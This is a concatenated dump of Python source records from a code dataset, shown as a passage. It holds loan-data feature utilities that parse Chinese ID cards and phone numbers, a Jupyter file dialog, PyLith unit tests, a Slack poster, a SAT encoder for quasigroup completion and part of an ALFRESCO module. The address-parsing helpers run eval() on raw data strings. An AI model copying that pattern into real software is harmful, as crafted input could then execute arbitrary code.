len(re.findall(r'[012356789]168|[012356789]158|[012356789]518|8([012356789])\\1{1}[8]',mobile_4))>0: #、*X168 、*X158 、*X518 、*8YY8\" X、Y 均不等于4\n mobile_class=4\n elif len(re.findall(r'([012356789])([012356789])\\2{1}\\1|([012356789])\\3{2}[012356789]|[012356789][012356789]99|([012356789])([012356789])\\4\\5',mobile_4))>0:#3\" *ABBA、*AAAB 、*AB99 、*ABAB\" A、B、C 均不等于4\n mobile_class=3\n elif len(re.findall(r'(0(?=1)|1(?=2)|2(?=3|$)|3(?=4|$)|4(?=5|$)|5(?=6|$)|6(?=7|$)|7(?=8|$)|8(?=9|$)|9(?=0|$)){3}$',mobile_4))>0: # ABC 为累加数\n mobile_class=2\n elif len(re.findall(r'(0(?=1)|1(?=2)|2(?=3|$)|3(?=4|$)|4(?=5|$)|5(?=6|$)|6(?=7|$)|7(?=8|$)|8(?=9|$)|9(?=0|$)){3}$',mobile_4[::-1]))>0: # ABC 为递减数\n mobile_class=2\n elif len(re.findall(r'([012356789])\\1{1}$|[012356789]88[012356789]|8$',mobile_4))>0: #2\" *XX 、*X88Y 、*8\" X不等于Y;X、Y 均不等于4\n mobile_class=2\n elif len(re.findall('4',mobile_3))==0: #1\" 普通号 \" 除以上级别号外,号码最后三位均不等于4 的号码\n mobile_class=1\n elif len(re.findall('4',mobile_3))>0: #0\" 差号 \" 除以上级如同号外,号码最后三位中任意一位等于4 的号\n mobile_class=0\n return mobile_class\n\n\n\n\n\ndef is_ture_id(id):\n id = str(id)\n if len(id) == 18:\n num17 = id[0:17]\n last_num = id[-1]\n moduls = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]\n num17 = map(int, num17)\n num_tuple = zip(num17, moduls) # [(1, 4), (2, 5), (3, 6)]\n num = map(lambda x: x[0] * x[1], num_tuple)\n mod = sum(num) % 11\n yushu1 = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\n yushu2 = [1, 0, 'X', 9, 8, 7, 6, 5, 4, 3, 2]\n last_yushu = dict(zip(yushu1, yushu2))\n if last_num == str(last_yushu[mod]):\n return 1\n else:\n return 0\n else:\n return 0\n\n\ndef get_idcard_no_to_sex(text):\n text = str(text)\n num = int(text[16:17])\n if num % 2 == 0:\n result = '女'\n else:\n result = '男'\n return result\n\n\ndef get_idcard_no_to_birth(text):\n text = str(text)\n new_text = text[6:10] +'-'+ text[10:12]+ '-'+text[12:14]\n return new_text\n\n\n\n\ndef get_idcard_no_to_age(df, idcard_col, order_time):\n\n df['date_birth'] = df[idcard_col].apply(get_idcard_no_to_birth)\n\n\n df['date_birth'] = pd.to_datetime(df['date_birth'])\n df[order_time] = pd.to_datetime(df[order_time])\n\n\n df['idcard_no_age'] = (df[order_time] - df['date_birth']).map(lambda x: int(x.days/365))\n return df\n\n\ndef get_zodiac_cn(text):\n text = str(text)\n text_year = text[6:10]\n Chinese_Zodiac = u'猴鸡狗猪鼠牛虎兔龙蛇马羊'[int(text_year)% 12]\n return Chinese_Zodiac\n\n\n\n\ndef get_zodiac_en(text):\n text = str(text)\n month = int(text[10:12])\n day = int(text[12:14])\n n = (u'摩羯座',u'水瓶座',u'双鱼座',u'白羊座',u'金牛座',u'双子座',u'巨蟹座',u'狮子座',u'处女座',u'天秤座',u'天蝎座',u'射手座')\n d = ((1,20),(2,19),(3,21),(4,21),(5,21),(6,22),(7,23),(8,23),(9,23),(10,23),(11,23),(12,23))\n # english_Zodiac = lambda y: y <= (month, day)\n english_Zodiac = n[len(list(filter(lambda y:y<=(month,day), d)))%12]\n return english_Zodiac\n\n\ndef feature_rename_output(df, prefix_name, exclude_list):\n col_list = list(df.columns)\n new_col_dict ={}\n for col in col_list:\n if col not in exclude_list:\n new_col_dict[col] = prefix_name + '_' +col\n df = df.rename(columns=new_col_dict)\n return df\n\n\ndef address_to_lat(text):\n text = str(text)\n if text and ',' in text:\n text = list(eval(text))\n\n if len(text)>0:\n\n lat_content = text[0]\n else:\n lat_content = np.nan\n else:\n lat_content = np.nan\n return lat_content\n\n\n\ndef address_to_lng(text):\n text = str(text)\n if text and ',' in text:\n # print(text)\n text = list(eval(text))\n\n if len(text) > 1:\n\n lat_content = text[1]\n else:\n lat_content = np.nan\n else:\n lat_content = np.nan\n return lat_content\n\n\ndef idcard_no_to_encode(file_path, fname):\n if not os.path.isfile(fname):\n\n idcard_no_encode = read_csv_data('idcard_no_encode', file_path)\n\n idcard_no_encode['address_code'] = idcard_no_encode['address_code'].astype('str')\n idcard_no_encode_dict = idcard_no_encode.to_dict('index')\n\n\n detailed_address_code_dict = {}\n for i in range(len(idcard_no_encode_dict)):\n encode_dict = idcard_no_encode_dict[i]\n key = encode_dict['detailed_address']\n value = encode_dict['address_code']\n detailed_address_code_dict[key] = value\n\n\n f = open(file_path+fname+'.pkl','wb')\n pickle.dump(detailed_address_code_dict, f)\n else:\n f = open(file_path+fname+'.pkl','rb')\n detailed_address_code_dict = pickle.load(f)\n f.close()\n return detailed_address_code_dict\n\n\n\ndef address_dict_code(text, address_code_dict):\n for _ in range(1):\n try:\n if text:\n new_text = address_code_dict[text]\n else:\n new_text = np.nan\n except Exception as e:\n new_text = '100000'\n return new_text\n\n\n\n\n\ndef timediff_to_days(df, first_col, second_col, new_name_col):\n\n df[first_col] = pd.to_datetime(df[first_col])\n df[second_col] = pd.to_datetime(df[second_col])\n\n\n df[new_name_col] = (df[first_col] - df[second_col]).apply(lambda x: int(x.days))\n\n\n del df[first_col]\n del df[second_col]\n return df\n\n\ndef merge_different_df(df1, df2, id_col, df1_name, df2_name):\n\n df1.to_csv(df1_name + '.csv.zip', index=False)\n df2.to_csv(df2_name + '.csv.zip', index=False)\n\n\n df1 = pd.read_csv(df1_name + '.csv.zip')\n df2 = pd.read_csv(df2_name + '.csv.zip')\n\n\n df1[id_col] = df1[id_col].astype('str')\n df2[id_col] = df2[id_col].astype('str')\n\n\n df = pd.merge(df1, df2, on=id_col, how='inner')\n\n import os\n os.remove(df1_name + '.csv.zip')\n os.remove(df2_name + '.csv.zip')\n return df\n\n\n\n\ndef dict_replace_list(text, missing_value_dict):\n if text in missing_value_dict:\n text = missing_value_dict[text]\n return text\n\n\n\ndef missing_value_outlier(df, col, replace_name):\n missing_value_dict = {'None': replace_name, 'NaN': replace_name, 'nan': replace_name}\n\n\n df[col] = df[col].apply(lambda x: dict_replace_list(x, missing_value_dict))\n\n\n for _ in range(1):\n try:\n df[col] = df[col].astype(int).astype(str)\n except Exception as e:\n pass\n return df\n\n\n\ndef high_frequency_discrete_variable(df, col, limit_num, replace_name):\n\n df = missing_value_outlier(df, col, replace_name)\n\n\n discrete_variable_list = list(set(df[col]))\n\n\n if len(discrete_variable_list) > limit_num:\n remove_variable_list = discrete_variable_list[limit_num:]\n\n remove_variable_dict = {}\n for remove_variable in remove_variable_list:\n remove_variable_dict[remove_variable] = replace_name\n df[col] = df[col].apply(lambda x: dict_replace_list(x, remove_variable_dict))\n # return df\n return df\n\n\n\n\ndef one_hot_trans(df, col_list, pkl_file_path, file_prefix_name):\n\n columns_list = list(df.columns)\n for col in col_list:\n if col in columns_list:\n try:\n df[col] = df[col].astype('int').astype('str')\n except Exception as e:\n pass\n data = df[col]\n new_columns = []\n label = LabelEncoder()\n oneHot = OneHotEncoder()\n la_data = label.fit_transform(data).reshape(-1, 1)\n for cla in label.classes_:\n new_columns.append(col+'_'+str(cla))\n one_data = oneHot.fit_transform(la_data).toarray()\n enc_df = pd.DataFrame(one_data , columns=new_columns)\n\n import os\n file_name = '{}_dict'.format(str(col))\n pkl_file_path_namr = pkl_file_path + file_prefix_name + '_' + file_name + '.pkl'\n if os.path.exists(pkl_file_path_namr):\n with open(pkl_file_path_namr, 'rb') as file:\n trans_dict = pickle.load(file)\n encode_col_list = []\n for _, value in trans_dict.items():\n encode_col_list.append(col+'_'+str(value))\n\n del df[col]\n df = pd.concat([df, enc_df], axis=1)\n df_col_list = list(df.columns)\n for col in encode_col_list:\n if col not in df_col_list:\n df[col] = 0\n else:\n del df[col]\n df = pd.concat([df, enc_df], axis=1)\n return df\n\n\n\ndef one_hot_deal_to_transform(df, discrete_variable_list, limit_num, replace_name, pkl_file_path, file_prefix_name):\n for col in discrete_variable_list:\n df = high_frequency_discrete_variable(df, col, limit_num, replace_name)\n\n\n df = one_hot_trans(df, discrete_variable_list, pkl_file_path, file_prefix_name)\n return df\n\n\n\ndef add_order_time_df(df, df_name, loan_no_file_path):\n\n cc_rh_report_loan_no_map = pd.read_csv(loan_no_file_path + 'cc_rh_report_loan_no_map' + '.csv.zip')\n\n\n cc_rh_report_loan_no_map = cc_rh_report_loan_no_map[['reportId', 'order_time']]\n\n\n df = merge_different_df(df, cc_rh_report_loan_no_map, 'reportId', df_name, 'cc_rh_report_loan_no_map')\n\n\n df = timediff_to_days(df, 'order_time', 'updateTime', 'gap_days')\n\n\n df = df.sort_values(by=['reportId', 'gap_days'])\n return df\n\n\n\ndef convert_multiple_to_single_lines(df, type_col, id_col):\n\n all_df = df[[id_col]].drop_duplicates()\n\n\n all_columns_list = list(df.columns)\n\n all_columns_list.remove(id_col)\n all_columns_list.remove(type_col)\n\n\n type_value_list = list(set(df[type_col]))\n for type_value in type_value_list:\n df_one = df[df[type_col] == type_value]\n del df_one[type_col]\n\n columns_dict = {}\n for col in all_columns_list:\n new_col = col + '_' + str(type_value)\n columns_dict[col] = new_col\n df_one = df_one.rename(columns=columns_dict)\n\n all_df = pd.merge(all_df, df_one, on=id_col, how='left')\n return all_df\n\n\n\ndef text_to_dict_encode(df, col, file_path, file_prefix_name, write_or_read='read'):\n import pickle\n\n file_name = '{}_dict'.format(str(col))\n if write_or_read == 'write':\n\n variables_num_list = list(df[col].unique())\n\n start_value = 100000\n\n trans_dict = {}\n for variables in variables_num_list:\n variables = str(variables)\n if len(variables) > 0:\n start_value += 1\n trans_dict[variables] = 'A' + str(start_value)\n else:\n variables = np.nan\n start_value += 1\n trans_dict[variables] = 'A' + str(start_value)\n\n with open(file_path +file_prefix_name+'_'+file_name + '.pkl', 'wb') as file:\n pickle.dump(trans_dict, file)\n else:\n with open(file_path +file_prefix_name+'_'+file_name + '.pkl', 'rb') as file:\n trans_dict = pickle.load(file)\n\n df[col] = df[col].replace(trans_dict)\n\n\n df = df.reset_index(drop=True)\n return df\n\n\ndef int_to_str(text):\n for _ in range(1):\n try:\n text = str(int(text))\n except Exception as e:\n text = str(text)\n return text\n\n\ndef str_to_float(text):\n for _ in range(1):\n try:\n text = float(text)\n except Exception as e:\n text = text\n return text\n\n\ndef deal_json_to_df(new_baihang_info, key):\n values = new_baihang_info[key]\n if type(values).__name__ == 'dict':\n\n df = pd.DataFrame.from_dict(values, orient='index').T\n if type(values).__name__ == 'list':\n\n key = json.dumps(values, ensure_ascii=True)\n df = pd.read_json(key, orient='records')\n return df\n\n\ndef deal_json_to_df_unique(new_baihang_info):\n values = new_baihang_info\n if type(values).__name__ == 'dict':\n\n df = pd.DataFrame.from_dict(values, orient='index').T\n if type(values).__name__ == 'list':\n\n key = json.dumps(values, ensure_ascii=True)\n df = pd.read_json(key, orient='records')\n return df\n\n\n\n\ndef analyze_dict_to_df_rh(df, df_time,id_col, target_col, col_list,save_path):\n loan_id_list = list(set(df[id_col]))\n all_rh_part_df_dict = {}\n for col in col_list:\n try:\n all_data_list = []\n for loan_id in loan_id_list:\n try:\n text = df[df[id_col]==loan_id]\n text = list(text[target_col])[0]\n text = json.loads(text)\n one_df = deal_json_to_df(text, col)\n one_df[id_col] = str(loan_id)\n all_data_list.append(one_df)\n except Exception as e:\n print(e)\n continue\n\n all_data_merge = pd.concat(all_data_list, axis=0)\n\n all_data_merge = all_data_merge.reset_index(drop=True)\n\n df_time[id_col] = df_time[id_col].astype('str')\n all_data_merge = pd.merge(all_data_merge, df_time, on=id_col, how='inner')\n if all_data_merge.shape[0]>0:\n all_rh_part_df_dict[col] = all_data_merge\n except Exception as e:\n print(e)\n continue\n return all_rh_part_df_dict\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nif __name__ == '__main__':\n pass\n\n\n\n\n","sub_path":"model_utils/public_feature_utils.py","file_name":"public_feature_utils.py","file_ext":"py","file_size_in_byte":23145,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"381241812","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 27 17:32:35 2015\n\n@author: chrism\n\"\"\"\nimport Tkinter\nimport tkFileDialog\n\nimport ipywidgets as widgets\nfrom IPython.display import display,Javascript\n\ndef _raise_above_all(window):\n window.attributes('-topmost', 1)\n window.attributes('-topmost', 0)\n\ndef get_file_path(initial_dir):\n root = Tkinter.Tk()\n root.withdraw()\n \n root.overrideredirect(True)\n root.geometry('0x0+0+0')\n \n root.deiconify()\n root.lift()\n _raise_above_all(root)\n root.focus_force()\n file_types = [('pickles', '.pkl'),('all files', '.*')]\n file_path = tkFileDialog.askopenfilename(parent=root,initialdir=initial_dir,\n filetypes=file_types)\n \n #root.destroy()\n \n return file_path\n\nclass IPythonTkinterFileDialog(object):\n DEFAULT_DIR = r\"C:\" \n \n def __init__(self,initial_dir=DEFAULT_DIR):\n self.initial_dir = initial_dir\n self.file_path = None\n \n self._build_ui()\n self._setup_callbacks()\n self._style_widgets()\n self.execute_below = True\n\n def _style_widgets(self):\n self.dialog_trigger_button.width = \"400px\"\n self.dialog_trigger_button.font_size = \"20px\" \n \n def _build_ui(self):\n self.dialog_trigger_button = widgets.Button(description=\"Get File Path\")\n \n def _setup_callbacks(self):\n self.dialog_trigger_button.on_click(self.set_file_path)\n \n def set_file_path(self,button):\n self.file_path = get_file_path(self.initial_dir)\n if self.execute_below:\n display(Javascript('IPython.notebook.select_next();IPython.notebook.execute_cells_below();'))\n \n def show(self):\n display(self.dialog_trigger_button)","sub_path":"corticalmapping/ipython_lizard/ipython_filedialog.py","file_name":"ipython_filedialog.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"33546594","text":"#!/usr/bin/env python\n#\n# ======================================================================\n#\n# Brad T. Aagaard, U.S. Geological Survey\n# Charles A. Williams, GNS Science\n# Matthew G. Knepley, University at Buffalo\n#\n# This code was developed as part of the Computational Infrastructure\n# for Geodynamics (http://geodynamics.org).\n#\n# Copyright (c) 2010-2022 University of California, Davis\n#\n# See LICENSE.md for license information.\n#\n# ======================================================================\n#\n\n## @file tests/pytests/meshio/TestOutputManagerMesh.py\n\n## @brief Unit testing of Python OutputManager object with mesh.\n\nimport unittest\n\nfrom pylith.meshio.OutputManager import OutputManager\n\n# ----------------------------------------------------------------------\nclass TestProvider(object):\n\n def __init__(self):\n \"\"\"Constructor.\n \"\"\"\n self.availableFields = \\\n {'vertex': \\\n {'info': [\"vertex info\"],\n 'data': [\"vertex data 1\",\n \"vertex data 2\"]},\n 'cell': \\\n {'info': [\"cell info\"],\n 'data': [\"cell data\"]}}\n\n filename = \"data/twohex8.txt\"\n \n from pylith.meshio.MeshIOAscii import MeshIOAscii\n iohandler = MeshIOAscii()\n iohandler.inventory.filename = filename\n from spatialdata.geocoords.CSCart import CSCart\n iohandler.inventory.coordsys = CSCart()\n iohandler._configure()\n\n from spatialdata.units.Nondimensional import Nondimensional\n normalizer = Nondimensional()\n normalizer._configure()\n mesh = iohandler.read(debug=False, interpolate=False)\n\n from pylith.topology.Fields import Fields\n fields = Fields(mesh)\n \n self.mesh = mesh\n self.fields = fields\n return\n\n\n def getDataMesh(self):\n \"\"\"Get mesh.\n \"\"\"\n return (self.mesh, None, None)\n\n\n def getVertexField(self, name, fields=None):\n \"\"\"Get vertex field.\n \"\"\"\n from pylith.field.field.FieldBase import SCALAR, VECTOR, OTHER\n if name == \"vertex info\":\n fieldType = FieldBase.SCALAR\n fiberDim = 1\n elif name == \"vertex data 1\":\n fieldType = FieldBase.VECTOR\n fiberDim = self.mesh.dimension()\n elif name == \"vertex data 2\":\n fieldType = FieldBase.OTHER\n fiberDim = 5\n else:\n raise ValueError(\"Unknown field '%s'.\" % name)\n\n self.fields.add(name, name)\n field = self.fields.get(name)\n field.newSection(field.VERTICES_FIELD, fiberDim)\n field.allocate()\n field.vectorFieldType(fieldType)\n self.fields.setFiberDimension(name, fiberDim)\n self.fields.allocate(name)\n field = self.fields.getReal(name)\n return field\n\n\n def getCellField(self, name, fields=None):\n \"\"\"Get cell field.\n \"\"\"\n if name == \"cell info\":\n fieldType = FieldBase.SCALAR\n fiberDim = 1\n elif name == \"cell data\":\n fieldType = FieldBase.VECTOR\n fiberDim = self.mesh.dimension()\n else:\n raise ValueError(\"Unknown field '%s'.\" % name)\n\n self.fields.add(name, name)\n field = self.fields.get(name)\n field.newSection(field.CELLS_FIELD, fiberDim)\n field.allocate()\n field.vectorFieldType(fieldType)\n return field\n\n\n# ----------------------------------------------------------------------\nclass TestOutputManagerMesh(unittest.TestCase):\n \"\"\"Unit testing of Python OutputManager object.\n \"\"\"\n\n def setUp(self):\n from spatialdata.units.Nondimensional import Nondimensional\n self.normalizer = Nondimensional()\n self.normalizer._configure()\n return\n \n\n def test_constructor(self):\n \"\"\"Test constructor.\n \"\"\"\n output = OutputManager()\n output.inventory.writer._configure()\n output._configure()\n return\n\n\n def test_preinitialize(self):\n \"\"\"Test preinitialize().\n \"\"\"\n dataProvider = TestProvider()\n output = OutputManager()\n output.preinitialize(dataProvider)\n \n self.failIf(output.dataProvider is None)\n return\n\n\n def test_verifyConfiguration(self):\n \"\"\"Test verifyConfiguration().\n \"\"\"\n dataProvider = TestProvider()\n output = OutputManager()\n output.preinitialize(dataProvider)\n\n output.vertexInfoFields = [\"vertex info\"]\n output.vertexDataFields = [\"vertex data 2\"]\n output.cellInfoFields = []\n output.cellDataFields = [\"cell data\"]\n output.verifyConfiguration(dataProvider.getDataMesh())\n return\n \n \n def test_initialize(self):\n \"\"\"Test initialize().\n \"\"\"\n # No quadrature\n output = OutputManager()\n output.inventory.writer.inventory.filename = \"test.vtk\"\n output.inventory.writer._configure()\n output._configure()\n dataProvider = TestProvider()\n output.preinitialize(dataProvider)\n output.initialize(self.normalizer)\n\n # With quadrature\n from pylith.feassemble.FIATLagrange import FIATLagrange\n from pylith.feassemble.Quadrature import Quadrature\n cell = FIATLagrange()\n cell.inventory.dimension = 3\n cell.inventory.degree = 2\n cell.inventory.order = 2\n cell._configure()\n\n quadrature = Quadrature()\n quadrature.inventory.cell = cell\n quadrature._configure()\n \n output = OutputManager()\n output.inventory.writer.inventory.filename = \"test.vtk\"\n output.inventory.writer._configure()\n output._configure()\n dataProvider = TestProvider()\n output.preinitialize(dataProvider)\n output.initialize(self.normalizer, quadrature)\n return\n\n\n def test_openclose(self):\n \"\"\"Test open() and close().\n \"\"\"\n output = OutputManager()\n output.inventory.writer.inventory.filename = \"output.vtk\"\n output.inventory.writer._configure()\n output._configure()\n dataProvider = TestProvider()\n output.preinitialize(dataProvider)\n output.initialize(self.normalizer)\n\n output.open(totalTime=5.0, numTimeSteps=2)\n output.close()\n return\n\n\n def test_writeInfo(self):\n \"\"\"Test writeInfo().\n \"\"\"\n output = OutputManager()\n output.inventory.writer.inventory.filename = \"output.vtk\"\n output.inventory.writer._configure()\n output.inventory.vertexInfoFields = [\"vertex info\"]\n output.inventory.cellInfoFields = [\"cell info\"]\n output._configure()\n \n dataProvider = TestProvider()\n output.preinitialize(dataProvider)\n output.initialize(self.normalizer)\n \n output.open(totalTime=5.0, numTimeSteps=2)\n output.writeInfo()\n output.close()\n return\n\n\n def test_writeData(self):\n \"\"\"Test writeData().\n \"\"\"\n output = OutputManager()\n output.inventory.writer.inventory.filename = \"output.vtk\"\n output.inventory.writer.inventory.timeFormat = \"%3.1f\"\n output.inventory.writer._configure()\n output.inventory.vertexDataFields = [\"vertex data 2\",\n \"vertex data 1\"]\n output.inventory.cellDataFields = [\"cell data\"]\n output._configure()\n \n dataProvider = TestProvider()\n output.preinitialize(dataProvider)\n output.initialize(self.normalizer)\n\n output.open(totalTime=5.0, numTimeSteps=2)\n output.writeData(2.0, dataProvider.fields)\n output.close()\n return\n\n\n def test_estimateNumSteps(self):\n \"\"\"Test _estimateNumSteps().\n \"\"\"\n from pythia.pyre.units.time import second\n\n output = OutputManager()\n output.inventory.outputFreq = \"skip\"\n output.inventory.skip = 2\n output._configure()\n\n numTimeSteps = 0\n totalTime = 1.0*second\n self.assertEqual(0, output._estimateNumSteps(totalTime, numTimeSteps))\n\n numTimeSteps = 4\n totalTime = 1.0*second\n self.assertEqual(2, output._estimateNumSteps(totalTime, numTimeSteps))\n\n numTimeSteps = 2\n totalTime = 1.0*second\n self.assertEqual(1, output._estimateNumSteps(totalTime, numTimeSteps))\n\n output = OutputManager()\n output.inventory.outputFreq = \"time_step\"\n output.inventory.dt = 2.0*second\n output._configure()\n dataProvider = TestProvider()\n output.preinitialize(dataProvider)\n output.initialize(self.normalizer)\n\n numTimeSteps = 0\n totalTime = 1.0*second\n self.assertEqual(0, output._estimateNumSteps(totalTime, numTimeSteps))\n\n numTimeSteps = 4\n totalTime = 1.0*second\n self.assertEqual(1, output._estimateNumSteps(totalTime, numTimeSteps))\n\n numTimeSteps = 2\n totalTime = 2.0*second\n self.assertEqual(2, output._estimateNumSteps(totalTime, numTimeSteps))\n return\n\n\n def test_checkWrite(self):\n \"\"\"Test _checkWrite().\n \"\"\"\n dataProvider = TestProvider()\n\n # Default values should be true\n output = OutputManager()\n output.inventory.writer._configure()\n output._configure()\n output.preinitialize(dataProvider)\n output.initialize(self.normalizer)\n self.assertEqual(True, output._checkWrite(0.0))\n self.assertEqual(True, output._checkWrite(3.234e+8))\n\n # Check writing based on time\n output = OutputManager()\n output.inventory.writer._configure()\n output._configure()\n output.preinitialize(dataProvider)\n output.initialize(self.normalizer)\n\n output.inventory.outputFreq = \"time_step\"\n t = 0.0\n dt = output.dtN\n self.assertEqual(True, output._checkWrite(t))\n self.assertEqual(False, output._checkWrite(t))\n self.assertEqual(False, output._checkWrite(t + 0.8*dt))\n t += dt\n self.assertEqual(True, output._checkWrite(t))\n t = 2*dt\n self.assertEqual(True, output._checkWrite(t))\n \n # Check writing based on number of steps\n output = OutputManager()\n output.inventory.writer._configure()\n output.inventory.outputFreq = \"skip\"\n output.inventory.skip = 1\n output._configure()\n output.preinitialize(dataProvider)\n output.initialize(self.normalizer)\n t = 0.0\n dt = 1.0\n self.assertEqual(True, output._checkWrite(t))\n t += dt\n self.assertEqual(False, output._checkWrite(t))\n t += dt\n self.assertEqual(True, output._checkWrite(t))\n output.inventory.skip = 2\n t += dt\n self.assertEqual(False, output._checkWrite(t))\n t += dt\n self.assertEqual(False, output._checkWrite(t))\n t += dt\n self.assertEqual(True, output._checkWrite(t))\n \n return\n\n\n def test_factory(self):\n \"\"\"Test factory method.\n \"\"\"\n from pylith.meshio.OutputManager import output_manager\n o = output_manager()\n return\n\n\n# End of file \n","sub_path":"tests/pytests/meshio/TestOutputManagerMesh.py","file_name":"TestOutputManagerMesh.py","file_ext":"py","file_size_in_byte":10139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"72970697","text":"import requests\n\nclass SoxbotMessenger(object):\n\n def __init__(self, token):\n self.params = {\n \"token\": token,\n \"as_user\": \"true\"\n }\n\n def post_message(self, message, channel):\n\n self.params['text'] = message\n self.params['channel'] = channel\n\n url = \"https://slack.com/api/chat.postMessage/\"\n r = requests.post(url, params=self.params)\n\n return r.text\n","sub_path":"SoxbotMessenger.py","file_name":"SoxbotMessenger.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"539178756","text":"import sys\nimport re\n\n####### CLAUSE2 + ADDITIONAL CLAUSE SET #######\n# properties a, c, d, e & f\n\n#### Read from QCP file ####\nf = open(sys.argv[1],\"r\")\nfirst = f.readline()\nn = int(re.search(r'\\d+', first).group()) # order n value\n\nnclauses = 0\nnvars = 0\n\n### Create dictionary to map C_ijk to unique value ###\ndict = {}\nvalue = 1\nfor r in range(n):\n for c in range(n):\n for k in range(n):\n dict[r,c,k] = value\n value+=1\n\n### fixed clause ###\nfixedClause = [] \n\nfor r in range(n):\n next = f.readline() # read line from input file\n lst = next.split(' ')\n for c in range(len(lst)):\n if (lst[c] != '.') and (lst[c] != '.\\n')and (lst[c] != '\\n'):\n k = int(lst[c])-1\n term = dict[r,c,k]\n fixedClause.append(term)\n nclauses+=1\n\nf.close()\n\n### property a: each cell of the square contains a number in [n] ###\nclausesA = []\nterm = 0\nfor r in range(n):\n for c in range(n):\n for k in range(n):\n term = dict[r,c,k]\n clausesA.append(term)\n clausesA.append(0) #Indication to jump to newline\n nclauses+=1\n#print(clausesA)\n\n### property c: no row has 2 cells containing the same number ###\nclausesC = []\nterm = 0\nfor r in range(n):\n for k in range(n):\n for c1 in range(n):\n for c2 in range(c1+1,n):\n term1 = dict[r,c1,k] # C_ij1k\n term2 = dict[r,c2,k] # # C_ij2k\n clausesC.append(term1)\n clausesC.append(term2)\n clausesC.append(0) # indicates end of clause\n nclauses+=1\n#print(clausesC)\n\n### property d: no column has 2 cells containing the same number ###\nclausesD = []\nterm = 0\nfor c in range(n):\n for k in range(n):\n for r1 in range(n):\n for r2 in range(r1+1,n):\n term1 = dict[r1,c,k] # C_i1jk\n term2 = dict[r2,c,k] # C_i2jk\n clausesD.append(term1)\n clausesD.append(term2)\n clausesD.append(0) # end of clause\n nclauses+=1\n#print(clausesD)\n\n### property e: every number in [n] appears in every row ###\nclausesE = []\nterm = 0\nfor r in range(n):\n for k in range(n):\n for c in range(n):\n term = dict[r,c,k] #change in column\n clausesE.append(term)\n clausesE.append(0) # end of clause\n nclauses+=1\n#print(clausesE)\n\n### property f: every number in [n] appears in every column ###\nclausesF = []\nterm = 0\nfor c in range(n):\n for k in range(n):\n for r in range(n):\n term = dict[r,c,k] #change in row\n #print(term)\n clausesF.append(term)\n clausesF.append(0) # end of clause\n nclauses+=1\n#print(clausesF)\n\n\n### Writing output to the .cnf file ###\nnvars = (clausesD[-2])\nwith open(sys.argv[2], 'w') as f:\n print( \"p cnf\", nvars, nclauses, file = f) #first line\n for i in fixedClause: #fixed clauses\n print(i, 0, file = f)\n\n for i in clausesA: # set of clauses for property a\n print(i, end = \" \", file = f)\n if i == 0:\n print(\"\", file = f)\n \n for i in clausesC: # set of clauses for property c\n print(-i, end = \" \", file = f)\n if i == 0:\n print(\"\", file = f)\n \n for i in clausesD: # set of clauses for property d\n print(-i, end = \" \", file = f)\n if i == 0:\n print(\"\", file = f)\n\n for i in clausesE: # set of clauses for property e\n print(i, end = \" \", file = f)\n if i == 0:\n print(\"\", file = f)\n\n for i in clausesF: # set of clauses for property f\n print(i, end = \" \", file = f)\n if i == 0:\n print(\"\", file = f)\n\n\n\n\n\n\n\n\n","sub_path":"clauses3.py","file_name":"clauses3.py","file_ext":"py","file_size_in_byte":3721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"567228282","text":"# * * * * * * * * * * * * * * * * * * * * * * * * * * *\n# ALFRESCO POST-PROCESSING RUN CLASSES\n# * * * * * * * * * * * * * * * * * * * * * * * * * * *\nimport alfresco_postprocessing as ap\nimport pandas as pd\nimport numpy as np\nimport os\n\nclass FileLister( object ):\n\t'''\n\treturn flavors of file lists\n\t'''\n\tdef __init__( self, maps_path, lagfire=False, *args, **kwargs ):\n\t\tself.maps_path = maps_path\n\t\tself.files = self._list_files()\n\t\tself.files_df = self._prep_filelist()\n\t\tself._lagfire = lagfire\n\t\tself.df = self._to_df()\n\t\tself.timesteps = self._to_timestep()\n\n\tdef _list_files( self ):\n\t\t'''\n\t\tnew list files that can deal with the year sub-direcories \n\t\ttest change we are making to improve performance.\n\t\t'''\n\t\timport os\n\t\tfiles = [ os.path.join( root, i ) for root, subs, files in os.walk( self.maps_path ) \\\n\t\t\t\tif len( files ) > 0 for i in files if i.endswith('.tif') ]\n\t\treturn files\n\tdef _prep_filelist( self ):\n\t\t'''\n\t\tconvert listed files from `maps_path` to pandas.DataFrame object\n\t\twith the columns:\n\t\t\t* object: contains the result of alfresco_postprocessing.Filename \n\t\t\t\t\ton each filename\n\t\t\t* year: year parsed from filename\n\t\t\t* replicate: replicate parsed from filename\n\t\t\t* variable: variable name parsed from filename\n\t\t\n\t\tReturns:\n\t\t--------\n\t\tpandas.DataFrame containing the Filename object and \n\t\trelated metadata attributes.\n\t\t'''\n\t\tfiles = [ Filename(i) for i in self.files ]\n\t\tdf = pd.DataFrame([{'object':i,'year':i.year,'replicate':i.replicate, 'variable':i.variable} for i in files ])\n\t\t# sort by replicate and year\n\t\tdf = df.sort_values(['replicate','year'], ascending=[1,1])\n\t\treturn df\n\tdef _to_df( self ):\n\t\t# convert to objects for easier parsing\n\t\tfiles = [ Filename( i ) for i in self.files ]\n\t\t# create an unpacked DataFrame with the file objects\n\t\tdf = pd.DataFrame([{'object':i,'year':int(i.year),'replicate':int(i.replicate), 'variable':i.variable} for i in files ])\n\t\t# sort it\n\t\tdf = df.sort_values(['variable','replicate','year'], ascending=[0,1,1])\n\t\t# make it into a dataframe wide-format\n\t\tdf_wide = pd.DataFrame( { name:dat['object'].tolist() for name, dat in df.groupby( 'variable' ) } )\n\t\t# add in a MultiIndex that is useable\n\t\tindex = pd.MultiIndex.from_tuples( df_wide.iloc[:, 0].apply( lambda x: (int(x.replicate), int(x.year) ) ) )\n\t\tdf_wide.index = index\n\t\tvariables = df_wide.columns\t\t\n\t\treturn df_wide\n\tdef 